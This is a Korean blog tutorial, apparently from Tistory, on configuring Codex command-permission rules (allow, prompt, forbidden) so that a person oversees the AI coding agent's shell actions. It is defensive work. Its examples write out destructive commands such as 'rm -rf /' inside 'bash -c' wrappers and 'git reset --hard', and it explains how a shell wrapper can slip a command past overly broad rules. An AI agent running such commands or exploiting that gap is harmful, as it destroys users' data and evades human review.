&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2156&quot; data-origin-height=&quot;1148&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rkzyt/dJMcacXmor5/bV3xzpbR6BK7rS9ceAcWFK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rkzyt/dJMcacXmor5/bV3xzpbR6BK7rS9ceAcWFK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rkzyt/dJMcacXmor5/bV3xzpbR6BK7rS9ceAcWFK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Frkzyt%2FdJMcacXmor5%2FbV3xzpbR6BK7rS9ceAcWFK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2156&quot; height=&quot;1148&quot; data-origin-width=&quot;2156&quot; data-origin-height=&quot;1148&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;한 줄 요약&lt;/b&gt; &amp;mdash; &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;allow&lt;/code&gt; = 자동 통과, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;prompt&lt;/code&gt; = 실행 전 물어봄, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;forbidden&lt;/code&gt; = 막힘. 이 셋만 알면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;decision&lt;/code&gt;에는 세 가지 값만 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;값&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;동작&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;언제 쓰나&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;allow&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;자동 허용 (사람 확인 없음)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;읽기 전용&amp;middot;안전한 명령 (&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;git
            status&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;npm
            test&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;prompt&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 전 사람 확인 요청&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;되돌릴 수 있지만 검토가 필요한 명령 (&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;npm
            install&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;git
            push&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;forbidden&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;실행 금지&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;되돌리기 어려운 명령 (&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;rm
            -rf&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;terraform
            apply -var-file=prod&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 규칙이 같은 명령에 걸릴 때는 더 제한적인 결정이 이긴다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;forbidden
      &amp;gt; prompt &amp;gt; allow&lt;/code&gt; 순서다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;decision&lt;/code&gt; 값을 따로 쓰지 않으면 기본값은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;allow&lt;/code&gt;다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.4 옵션 필드와 응용 예시&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2156&quot; data-origin-height=&quot;1148&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bO04BS/dJMcahElV32/c6tMDEmGROZkH3JpoKMQN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bO04BS/dJMcahElV32/c6tMDEmGROZkH3JpoKMQN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bO04BS/dJMcahElV32/c6tMDEmGROZkH3JpoKMQN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbO04BS%2FdJMcahElV32%2Fc6tMDEmGROZkH3JpoKMQN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2156&quot; height=&quot;1148&quot; data-origin-width=&quot;2156&quot; data-origin-height=&quot;1148&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;pattern&lt;/code&gt;과 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;decision&lt;/code&gt; 외에 세 가지 선택 필드를 더 쓸 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;justification&lt;/code&gt;은 이 규칙을 왜 만들었는지 설명하는 메모다. Codex가 사람에게 확인을 요청할 때 이 텍스트를 함께 보여 주므로, 팀원이 규칙의 의도를 바로 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;match&lt;/code&gt;에는 이 규칙에 &lt;b&gt;걸려야 하는&lt;/b&gt; 명령 예시를, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;not_match&lt;/code&gt;에는 &lt;b&gt;걸리면 안 되는&lt;/b&gt; 예시를 적는다. 일종의 인라인 단위 테스트처럼 활용할 수 있어서, 규칙이 많아질수록 이 예시를 빠뜨리지 않는 게 낫다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;네 가지 필드를 모두 활용한 실전 예시다.&lt;/p&gt;
&lt;pre class=&quot;nix&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;python&quot;&gt;&lt;code&gt;# .codex/rules/team.rules

# 프로덕션 terraform apply 차단 &amp;mdash; CI/CD 파이프라인을 통해서만 허용
prefix_rule(
    pattern = [&quot;terraform&quot;, &quot;apply&quot;],
    decision = &quot;forbidden&quot;,
    justification = &quot;프로덕션 배포는 CI/CD 파이프라인을 통해서만. Codex가 직접 apply하면 변경 이력이 남지 않는다&quot;,
    match = [
        &quot;terraform apply -var-file=prod.tfvars&quot;,
        &quot;terraform apply -var-file=production.tfvars&quot;,
    ],
    not_match = [
        &quot;terraform apply -var-file=dev.tfvars&quot;,
    ],
)

# Git 읽기 전용 명령은 자동 허용
prefix_rule(
    pattern = [&quot;git&quot;, [&quot;status&quot;, &quot;diff&quot;, &quot;log&quot;]],
    decision = &quot;allow&quot;,
    justification = &quot;Read-only git inspection is safe for routine work&quot;,
    match = [
        &quot;git status&quot;,
        &quot;git diff&quot;,
        &quot;git log --oneline&quot;,
    ],
    not_match = [
        &quot;git reset --hard&quot;,
    ],
)

# 파괴적 Git 명령 차단
prefix_rule(
    pattern = [&quot;git&quot;, &quot;reset&quot;, &quot;--hard&quot;],
    decision = &quot;forbidden&quot;,
    justification = &quot;Use a reviewed revert plan instead of destructive reset&quot;,
    match = [
        &quot;git reset --hard&quot;,
    ],
)

# 의존성 변경은 사람이 확인
prefix_rule(
    pattern = [&quot;npm&quot;, &quot;install&quot;],
    decision = &quot;prompt&quot;,
    justification = &quot;Dependency changes require human review&quot;,
    match = [
        &quot;npm install react&quot;,
    ],
)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;details style=&quot;margin: 12px 0; background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 8px; padding: 12px 16px;&quot;&gt;
&lt;summary style=&quot;cursor: pointer; font-weight: bold; color: #495057;&quot;&gt;심화 예시 &amp;mdash; kubectl 읽기/쓰기 분리 (Kubernetes를 쓰지 않는다면 건너뛰어도 됩니다)&lt;/summary&gt;
&lt;p style=&quot;margin: 10px 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.9em;&quot;&gt;not_match&lt;/code&gt;로 kubectl 쓰기 명령을 막고 읽기 명령만 허용하는 예시다. 클러스터를 직접 건드리는 명령은 사람이 수동으로 실행해야 하는 환경에서 쓴다.&lt;/p&gt;
&lt;pre class=&quot;nix&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 14px 16px; border-radius: 6px; font-family: 'Fira Code', monospace; font-size: 13px; margin: 8px 0; overflow-x: auto;&quot;&gt;&lt;code&gt;# kubectl 읽기 전용만 허용 &amp;mdash; 쓰기 명령은 수동 실행 금지
prefix_rule(
    pattern = [&quot;kubectl&quot;],
    decision = &quot;forbidden&quot;,
    justification = &quot;kubectl 쓰기 명령은 클러스터에 즉시 반영되므로 수동 실행 필요&quot;,
    not_match = [
        &quot;kubectl get&quot;,
        &quot;kubectl describe&quot;,
        &quot;kubectl logs&quot;,
        &quot;kubectl top&quot;,
    ],
)

# 읽기 명령은 자동 허용
prefix_rule(
    pattern = [&quot;kubectl&quot;, [&quot;get&quot;, &quot;describe&quot;, &quot;logs&quot;, &quot;top&quot;]],
    decision = &quot;allow&quot;,
    justification = &quot;클러스터 조회&amp;middot;로그 확인은 안전한 읽기 작업&quot;,
    match = [
        &quot;kubectl get pods&quot;,
        &quot;kubectl describe deployment api&quot;,
        &quot;kubectl logs -f api-pod&quot;,
    ],
)&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 8px 0 0; color: #555; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;핵심 패턴: 넓은 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;forbidden&lt;/code&gt;으로 전체를 먼저 막고, 허용할 읽기 명령을 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;not_match&lt;/code&gt; 또는 별도 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px;&quot;&gt;allow&lt;/code&gt;로 예외를 낸다.&lt;/p&gt;
&lt;/details&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.5 규칙 검증 명령&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2120&quot; data-origin-height=&quot;1154&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFjQ1w/dJMb99TR6XY/j8x9AyhLIhKAn2eIeBc23K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFjQ1w/dJMb99TR6XY/j8x9AyhLIhKAn2eIeBc23K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFjQ1w/dJMb99TR6XY/j8x9AyhLIhKAn2eIeBc23K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFjQ1w%2FdJMb99TR6XY%2Fj8x9AyhLIhKAn2eIeBc23K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2120&quot; height=&quot;1154&quot; data-origin-width=&quot;2120&quot; data-origin-height=&quot;1154&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;규칙 파일을 작성한 뒤에는 실제로 원하는 대로 동작하는지 반드시 확인한다. 공식 문서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex execpolicy check&lt;/code&gt;로 규칙을 검증하는 예시를 제공한다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--rules&lt;/code&gt;로 파일을 지정하고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--&lt;/code&gt; 뒤에 검사할 명령을 둔다(&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/rules&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Rules 문서&lt;/a&gt;).&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기본 출력은 JSON 형태이고, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;--pretty&lt;/code&gt;를 붙이면 사람이 읽기 좋은 형태로 확인할 수 있다.&lt;/p&gt;
&lt;pre class=&quot;smali&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;codex execpolicy check --pretty \
  --rules .codex/rules/team.rules \
  -- git reset --hard&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀에 적용하기 전에는 &amp;ldquo;허용해야 하는 명령이 막히는가&amp;rdquo;보다 &amp;ldquo;막아야 하는 명령이 통과하는가&amp;rdquo;를 먼저 본다. 예를 들어 파일을 지우거나 Git 기록을 되돌리는 명령은 특히 먼저 확인해야 한다. 여러 명령을 한 번에 감싸서 실행하는 방식은 실제 실행 형태가 단일 명령과 달라질 수 있으므로, 팀이 실제로 쓰는 명령 그대로 검사하는 것이 좋다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.6 셸 래퍼: 정의&amp;middot;함정&amp;middot;체크리스트&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2134&quot; data-origin-height=&quot;1114&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dTTdjV/dJMb99TR6YR/KIxAmDF1LGPkWvbcHSy5tk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dTTdjV/dJMb99TR6YR/KIxAmDF1LGPkWvbcHSy5tk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dTTdjV/dJMb99TR6YR/KIxAmDF1LGPkWvbcHSy5tk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdTTdjV%2FdJMb99TR6YR%2FKIxAmDF1LGPkWvbcHSy5tk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2134&quot; height=&quot;1114&quot; data-origin-width=&quot;2134&quot; data-origin-height=&quot;1114&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;Rules를 처음 팀에 적용할 때 가장 자주 뚫리는 구멍이 셸 래퍼다. 셸 래퍼는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;bash -lc &quot;...&quot;&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;zsh -c &quot;...&quot;&lt;/code&gt;처럼 문자열 안에 여러 명령을 담아 실행하는 방식이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;bash -lc &quot;git add . &amp;amp;&amp;amp; rm -rf /&quot;&lt;/code&gt;처럼 보이면 겉으로는 하나의 명령이지만, 실제로는 여러 행동이 숨어 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;변수 확장, 리다이렉션, 제어문 같은 복잡한 문법 없이 단순한 명령들이 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;&amp;amp;&amp;amp;&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;||&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;;&lt;/code&gt;, &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;|&lt;/code&gt;로 이어진 형태라면 Codex가 이를 개별 명령으로 나누어 규칙을 적용할 수 있다. 하지만 복잡한 셸 문법이 들어가면 사람이 의도한 대로 나뉘지 않을 수 있으므로, 위험한 명령은 실제 실행 형태로 반드시 검사해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff8f8; border: 1px solid #f0c0c0; border-radius: 10px; padding: 16px 20px; margin: 18px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;비교 1 &amp;mdash; bash를 통째로 허용 vs 하위 명령 단위 허용&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%; vertical-align: top; padding-right: 12px;&quot;&gt;&lt;span&gt;❌ 위험한 패턴&lt;/span&gt;&lt;br /&gt;&lt;span&gt;prefix_rule( &lt;span class=&quot;hljs-attr&quot;&gt;pattern&lt;/span&gt; = [&lt;span class=&quot;hljs-string&quot;&gt;&quot;bash&quot;&lt;/span&gt;], &lt;span class=&quot;hljs-attr&quot;&gt;decision&lt;/span&gt; = &lt;span class=&quot;hljs-string&quot;&gt;&quot;allow&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-attr&quot;&gt;justification&lt;/span&gt; = &lt;span class=&quot;hljs-string&quot;&gt;&quot;shell scripts needed&quot;&lt;/span&gt;, )&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; vertical-align: top; padding-left: 12px;&quot;&gt;&lt;span&gt;✅ 안전한 패턴&lt;/span&gt;&lt;br /&gt;&lt;span&gt;prefix_rule( &lt;span class=&quot;hljs-attr&quot;&gt;pattern&lt;/span&gt; = [&lt;span class=&quot;hljs-string&quot;&gt;&quot;bash&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;scripts/test.sh&quot;&lt;/span&gt;], &lt;span class=&quot;hljs-attr&quot;&gt;decision&lt;/span&gt; = &lt;span class=&quot;hljs-string&quot;&gt;&quot;allow&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-attr&quot;&gt;justification&lt;/span&gt; = &lt;span class=&quot;hljs-string&quot;&gt;&quot;only the known test helper&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-attr&quot;&gt;match&lt;/span&gt; = [&lt;span class=&quot;hljs-string&quot;&gt;&quot;bash scripts/test.sh&quot;&lt;/span&gt;], &lt;span class=&quot;hljs-attr&quot;&gt;not_match&lt;/span&gt; = [&lt;span class=&quot;hljs-string&quot;&gt;&quot;bash -c 'rm -rf /'&quot;&lt;/span&gt;], )&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0 0 0; color: #666; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;pattern = [&quot;bash&quot;]&lt;/code&gt;는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 5px; border-radius: 3px; font-size: 0.85em;&quot;&gt;bash -lc &quot;git reset --hard &amp;amp;&amp;amp; rm -rf .&quot;&lt;/code&gt;도 매칭한다. 패턴이 짧을수록 더 넓게 열린다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff8f8; border: 1px solid #f0c0c0; border-radius: 10px; padding: 16px 20px; margin: 18px 0;&quot;&gt;
&lt;p style=&quot;font-weight: bold; margin: 0 0 12px 0;&quot; data-ke-size=&quot;size16&quot;&gt;비교 2 &amp;mdash; forbidden 없는 규칙 파일 vs forbidden + allow 조합&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%; vertical-align: top; padding-right: 12px;&quot;&gt;&lt;span&gt;❌ 구멍이 있는 파일&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span class=&quot;hljs-comment&quot;&gt;# 허용 규칙만 있고 금지가 없음&lt;/span&gt; prefix_rule( &lt;span class=&quot;hljs-attr&quot;&gt;pattern&lt;/span&gt; = [&lt;span class=&quot;hljs-string&quot;&gt;&quot;git&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;status&quot;&lt;/span&gt;], &lt;span class=&quot;hljs-attr&quot;&gt;decision&lt;/span&gt; = &lt;span class=&quot;hljs-string&quot;&gt;&quot;allow&quot;&lt;/span&gt;, ) prefix_rule( &lt;span class=&quot;hljs-attr&quot;&gt;pattern&lt;/span&gt; = [&lt;span class=&quot;hljs-string&quot;&gt;&quot;npm&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;test&quot;&lt;/span&gt;], &lt;span class=&quot;hljs-attr&quot;&gt;decision&lt;/span&gt; = &lt;span class=&quot;hljs-string&quot;&gt;&quot;allow&quot;&lt;/span&gt;, )&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50%; vertical-align: top; padding-left: 12px;&quot;&gt;&lt;span&gt;✅ 금지를 먼저, 허용은 좁게&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span class=&quot;hljs-comment&quot;&gt;# 위험 명령은 forbidden으로 먼저&lt;/span&gt; prefix_rule( &lt;span class=&quot;hljs-attr&quot;&gt;pattern&lt;/span&gt; = [&lt;span class=&quot;hljs-string&quot;&gt;&quot;git&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;reset&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;--hard&quot;&lt;/span&gt;], &lt;span class=&quot;hljs-attr&quot;&gt;decision&lt;/span&gt; = &lt;span class=&quot;hljs-string&quot;&gt;&quot;forbidden&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-attr&quot;&gt;justification&lt;/span&gt; = &lt;span class=&quot;hljs-string&quot;&gt;&quot;use revert; hard reset loses work&quot;&lt;/span&gt;, ) prefix_rule( &lt;span class=&quot;hljs-attr&quot;&gt;pattern&lt;/span&gt; = [&lt;span class=&quot;hljs-string&quot;&gt;&quot;git&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-string&quot;&gt;&quot;status&quot;&lt;/span&gt;], &lt;span class=&quot;hljs-attr&quot;&gt;decision&lt;/span&gt; = &lt;span class=&quot;hljs-string&quot;&gt;&quot;allow&quot;&lt;/span&gt;, )&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin: 10px 0 0 0; color: #666; font-size: 13px;&quot; data-ke-size=&quot;size16&quot;&gt;허용 목록만 있으면 Codex는 목록에 없는 명령도 기본 승인 정책을 따른다. 위험한 명령은 별도로 명시해야 확실히 막힌다.&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; padding: 18px 20px; border-radius: 10px; border-left: 5px solid #ffc107; margin: 18px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Rules 적용 전 preflight&lt;/b&gt; &amp;mdash; preflight는 비행기 이륙 전 조종사가 체크리스트를 점검하듯, 실제 작업 전에 규칙이 의도대로 동작하는지 미리 검사하는 사전 점검이다.&lt;/p&gt;
&lt;ul style=&quot;padding-left: 20px; margin: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
